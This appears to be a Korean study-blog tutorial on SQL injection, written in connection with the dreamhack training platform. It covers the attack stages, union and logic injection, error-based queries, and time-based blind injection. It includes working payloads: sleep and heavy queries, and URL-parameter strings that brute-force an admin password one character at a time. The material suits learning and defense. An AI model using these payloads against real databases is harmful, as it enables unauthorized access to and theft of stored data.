[Concept] SQL Injection (feat. dreamhack)
SQL Injection?
사용자 입력 데이터가 SQL Query에 포함되어 의도되지 않은 Query문이 실행되는 취약점.
SQL Injection을 방지하기 위해서는 사용자 데이터가 SQL Query로써 동작하지 못하도록 해야한다.
SQL Injection 공격은 대표적으로 두 가지 목적을 가진다.
1. 정보 탈취 (기밀성 침해)
2. 정보 수정/삭제 (무결성 침해)
결국 기존에 권한이 없는 DB 정보에 접근하는 것이 공통점이다. 이러한 공격을 위해서 다음 과정을 거쳐 공격을 수행하게 된다.
1. SQL Injection 취약점 발견
- HTTP Response Status Code를 통해 오류가 발생하는지 확인
- DBMS의 오류 메시지를 통해 취약점 가능성 확인
- 웹 어플리케이션에서 변조된 SQL구문이 실행된 데이터가 반환되는지 확인
2. 구문 예측 / DBMS 정보 획득
- 사용자의 입력 데이터를 처리하는 구문을 예측한다. (Query문 예측)
- DBMS의 정보를 획득하여 Exploit 작성을 위한 정보를 획득한다.
3. Exploit 작성
- 사용할 공격 기법을 선정합니다.
- WAF와 같이 SQL Injection를 방어하는 로직 등이 존재할 경우 우회 가능성을 판단한다.
4. 정보 탈취 및 수정/삭제
- 시스템 테이블 등을 이용해 DB의 정보를 획득하고, 저장된 데이터를 탈취하거나 수정/삭제 하여 공격
SQL Injection 취약점이 발생했을 때 공격법
[ Logic ]
and, or 와 같은 Logic을 이용한 공격이다.
and 연산자는 첫 번째 피연산자가 True일 경우에만 두 번째 피연산자를 연산한다는 특징,
그리고 or 연산자는 첫 번째 피연산자가 False일 경우에만 두 번째 피연산자를 연산한다는 특징을
활용해 SQL Injection 공격을 수행할 수 있다.
[ Union ]
양쪽의 결과를 결합해주는 Union 명령어를 이용한 공격이다.
왼쪽의 결과가 화면에 나온다면, 오른쪽에 공격자가 임의의 Query를 생성하고 이 결과가 결합되면서
같이 화면에 나오는 점을 이용해 SQL Injection 공격을 수행할 수 있다.
( id 출력하는 곳에 union select upw from users 를 붙인다면 pw가 같이 출력되도록 할 수 있다.)
그러나, 반드시 왼쪽 결과의 Column수와 Column Type이 오른쪽 결과와 동일해야한다.
[ Subquery ]
Select절, From절, Where절에 사용되는 SubQuery를 사용해 SQL Injection 공격을 수행한다.
SQL Injection 취약점이 발생했을 때 상황별 접근법
[ Error Based ]
임의로 에러를 발생시켜 정보를 획득하는 공격 기법이다. SQL Injection이 발생했을 때 결과가 나오지는 않지만 Query문에 Error가 발생했을 때 공격자에게 이 Error가 노출되는 상황에 사용이 가능하다.
( Syntax Error가 아니라 Runtime중에 발생하는 Error가 필요하다. )
이러한 SQL Injection Point가 발생했을 때 아래와 같이 Error문을 통해 원하는 결과를 출력할 수 있다.
select extractvalue(1, concat(0x3a, version()));
이런 Query문을 수행하게되면 Runtime Error가 발생하면서 version() 함수가 호출된 결과가 공격자에게 Error문에 포함되어 노출되게 된다.
이런 Error를 유발하는 Query문은 SQL 종류마다 다르며 각각 아래의 Query문이 존재한다.
MySQL


이와같이 큰 수의 연산을 통해 Error를 발생시킬 수 있다는 것을 기억하자.
ch4njun.tistory.com/58?category=710183
[SQL Injection] Error Based Injection 2 (Feat. MySQL)
ch4njun.tistory.com
MSSQL

ch4njun.tistory.com/57?category=710183
[SQL Injection] Error Based Injection 1 (Feat. MSSQL)
ch4njun.tistory.com
Oracle

ch4njun.tistory.com/59?category=710183
[SQL Injection] Error Based Injection 3 (Feat. OracleDB)
ch4njun.tistory.com
[ Blind ]
DB 조회 후 결과를 공격자가 직접 확인할 수 없는 상황에서 사용되는 SQL Injection 공격기법이다.
1. 데이터를 비교해 참/거짓을 구분한다.
2. 참/거짓의 결과에 따른 특별한 응답을 생성한다.
여기서 1번을 Time Based로 확인할 수 있다. Time Based는 시간 지연 여부를 통해 참/거짓 여부를 판단하게 된다. 이 때 사용되는 것이 DB의 함수(sleep 등), 무거운 연산과정(Heavy Query)을 통해 시간 지연이 가능한 Query문을 포함 시킬 수 있다.
사용 예시는 아래의 코드이다.
select if(1=1, sleep(1), 0);
select if(1=0, sleep(1), 0);
이 차이를 통해서 공격자는 조건문의 참/거짓을 판별할 수 있게된다.
SQL별로 Time Based에서 사용하는 방법에 대한 설명이다.
MySQL
[ DB의 함수 ]
sleep(10);
benchmark(10, sha1(1));
[ Heavy Query ]
SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
MSSQL
[ DB의 함수 ]
waitfor delay '0:0:1'
[ Heavy Query ]
select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)
SQLite
[ Heavy Query ]
LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
Blind SQL Injection의 경우에는 모두 위 흐름을 따라가게 된다.
select if(1=1, True, False); <!-- MySQL -->
select case when 1=1 then 'true' else 'false' end; <!-- SQLite -->
if(select 'test')='test' select 1234; <!-- MSSQL -->
위와같은 SQL에서 제공하는 조건문을 사용하게 된다. 그리고 1=1 자리에 like, substr, length 등을 활용해 원하는 Data의 정보를 획득할 수 있다. (Brute Force를 통해 획득한다.)
/?username=' union select 'admin' -- -
/?username=' union select if(substr(pw, 1, 1)='A', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='B', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='C', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='D', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='E', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='F', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='G', 'admin', 'not admin') from users where username='admin' #
/?username=' union select if(substr(pw, 1, 1)='H', 'admin', 'not admin') from users where username='admin' #
...
예를들면 이와같은 방법을 사용해 admin의 password값을 찾을 수 있다. 이렇게 첫 번째 문자를 찾으면 그 다음은 substr(pw, 2, 1)을 사용해 두 번째 문자.. 이렇게 끝까지 찾아나가게 된다.
ch4njun.tistory.com/3?category=710183
[SQL Injection] Blind SQL Injection 여러가지 아이디어
ch4njun.tistory.com